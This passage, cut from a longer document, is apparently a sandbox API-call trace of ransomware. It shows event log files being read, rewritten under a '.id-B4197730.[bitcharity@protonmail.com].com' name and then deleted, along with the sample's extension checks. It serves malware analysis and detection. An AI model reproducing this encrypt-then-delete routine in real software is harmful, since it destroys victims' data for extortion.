lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.154] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x14a, lpOverlapped=0x0) returned 1 [0147.154] SetEndOfFile (hFile=0x10e4) returned 1 [0147.154] CloseHandle (hObject=0x10e4) returned 1 [0147.156] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.156] SetEndOfFile (hFile=0x108c) returned 1 [0147.158] CloseHandle (hObject=0x108c) returned 1 [0147.158] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.158] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0147.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.158] lstrlenW (lpString=".doc") returned 4 [0147.158] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.158] lstrlenW (lpString=".docx") returned 5 [0147.158] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.158] lstrlenW (lpString=".pdf") returned 4 [0147.158] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString=".xls") returned 4 [0147.159] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString=".xlsx") returned 5 [0147.159] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.159] lstrlenW (lpString=".ppt") returned 4 [0147.159] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString=".zip") returned 4 [0147.159] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString=".rar") returned 4 [0147.159] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString=".bz2") returned 4 [0147.159] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString=".7z") returned 3 [0147.159] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString=".dbf") returned 4 [0147.159] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString=".1cd") returned 4 [0147.159] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString=".jpg") returned 4 [0147.159] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.159] lstrlenW (lpString=".doc") returned 4 [0147.159] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".docx") returned 5 [0147.160] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.160] lstrlenW (lpString=".pdf") returned 4 [0147.160] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".xls") returned 4 [0147.160] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".xlsx") returned 5 [0147.160] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.160] lstrlenW (lpString=".ppt") returned 4 [0147.160] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.160] lstrlenW (lpString=".zip") returned 4 [0147.160] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".rar") returned 4 [0147.160] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".bz2") returned 4 [0147.160] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString=".7z") returned 3 [0147.160] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.160] lstrlenW (lpString=".dbf") returned 4 [0147.160] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.160] lstrlenW (lpString=".1cd") returned 4 [0147.160] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0147.160] lstrlenW (lpString=".jpg") returned 4 [0147.160] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.161] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.161] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0147.161] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.161] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.161] CloseHandle (hObject=0x108c) returned 1 [0147.161] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0147.161] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.161] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.161] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.161] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0147.166] GetLastError () returned 0x0 [0147.166] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.273] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.275] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.275] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x132, lpOverlapped=0x0) returned 1 [0147.275] SetEndOfFile (hFile=0x10e4) returned 1 [0147.275] CloseHandle (hObject=0x10e4) returned 1 [0147.278] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.278] SetEndOfFile (hFile=0x108c) returned 1 [0147.280] CloseHandle (hObject=0x108c) returned 1 [0147.280] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.280] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0147.280] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.280] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.280] lstrlenW (lpString=".doc") returned 4 [0147.280] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.280] lstrlenW (lpString=".docx") returned 5 [0147.280] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.280] lstrlenW (lpString=".pdf") returned 4 [0147.280] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.280] lstrlenW (lpString=".xls") returned 4 [0147.280] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.280] lstrlenW (lpString=".xlsx") returned 5 [0147.280] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.281] lstrlenW (lpString=".ppt") returned 4 [0147.281] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString=".zip") returned 4 [0147.281] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString=".rar") returned 4 [0147.281] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString=".bz2") returned 4 [0147.281] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString=".7z") returned 3 [0147.281] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString=".dbf") returned 4 [0147.281] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString=".1cd") returned 4 [0147.281] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString=".jpg") returned 4 [0147.281] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.281] lstrlenW (lpString=".doc") returned 4 [0147.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString=".docx") returned 5 [0147.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.281] lstrlenW (lpString=".pdf") returned 4 [0147.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.281] lstrlenW (lpString=".xls") returned 4 [0147.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString=".xlsx") returned 5 [0147.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.282] lstrlenW (lpString=".ppt") returned 4 [0147.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.282] lstrlenW (lpString=".zip") returned 4 [0147.282] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString=".rar") returned 4 [0147.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString=".bz2") returned 4 [0147.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString=".7z") returned 3 [0147.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.282] lstrlenW (lpString=".dbf") returned 4 [0147.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.282] lstrlenW (lpString=".1cd") returned 4 [0147.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0147.282] lstrlenW (lpString=".jpg") returned 4 [0147.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.282] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.282] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0147.282] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.283] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.283] CloseHandle (hObject=0x108c) returned 1 [0147.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0147.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.283] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.283] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0147.284] GetLastError () returned 0x0 [0147.284] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.448] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.449] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.449] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x144, lpOverlapped=0x0) returned 1 [0147.449] SetEndOfFile (hFile=0x10e4) returned 1 [0147.449] CloseHandle (hObject=0x10e4) returned 1 [0147.451] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.451] SetEndOfFile (hFile=0x108c) returned 1 [0147.453] CloseHandle (hObject=0x108c) returned 1 [0147.453] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.454] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0147.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.454] lstrlenW (lpString=".doc") returned 4 [0147.454] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".docx") returned 5 [0147.454] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.454] lstrlenW (lpString=".pdf") returned 4 [0147.454] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".xls") returned 4 [0147.454] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".xlsx") returned 5 [0147.454] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.454] lstrlenW (lpString=".ppt") returned 4 [0147.454] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.454] lstrlenW (lpString=".zip") returned 4 [0147.454] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".rar") returned 4 [0147.454] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".bz2") returned 4 [0147.454] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString=".7z") returned 3 [0147.454] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.454] lstrlenW (lpString=".dbf") returned 4 [0147.454] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.454] lstrlenW (lpString=".1cd") returned 4 [0147.455] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".jpg") returned 4 [0147.455] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".doc") returned 4 [0147.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".docx") returned 5 [0147.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.455] lstrlenW (lpString=".pdf") returned 4 [0147.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".xls") returned 4 [0147.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".xlsx") returned 5 [0147.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.455] lstrlenW (lpString=".ppt") returned 4 [0147.455] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".zip") returned 4 [0147.455] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".rar") returned 4 [0147.455] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".bz2") returned 4 [0147.455] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString=".7z") returned 3 [0147.455] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".dbf") returned 4 [0147.455] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".1cd") returned 4 [0147.455] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0147.455] lstrlenW (lpString=".jpg") returned 4 [0147.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.456] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.456] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0147.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.456] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.456] CloseHandle (hObject=0x108c) returned 1 [0147.456] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0147.456] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.456] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.457] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.462] GetLastError () returned 0x0 [0147.462] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.588] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.589] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.590] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.590] SetEndOfFile (hFile=0x1098) returned 1 [0147.590] CloseHandle (hObject=0x1098) returned 1 [0147.593] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.593] SetEndOfFile (hFile=0x108c) returned 1 [0147.594] CloseHandle (hObject=0x108c) returned 1 [0147.594] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.595] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0147.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.595] lstrlenW 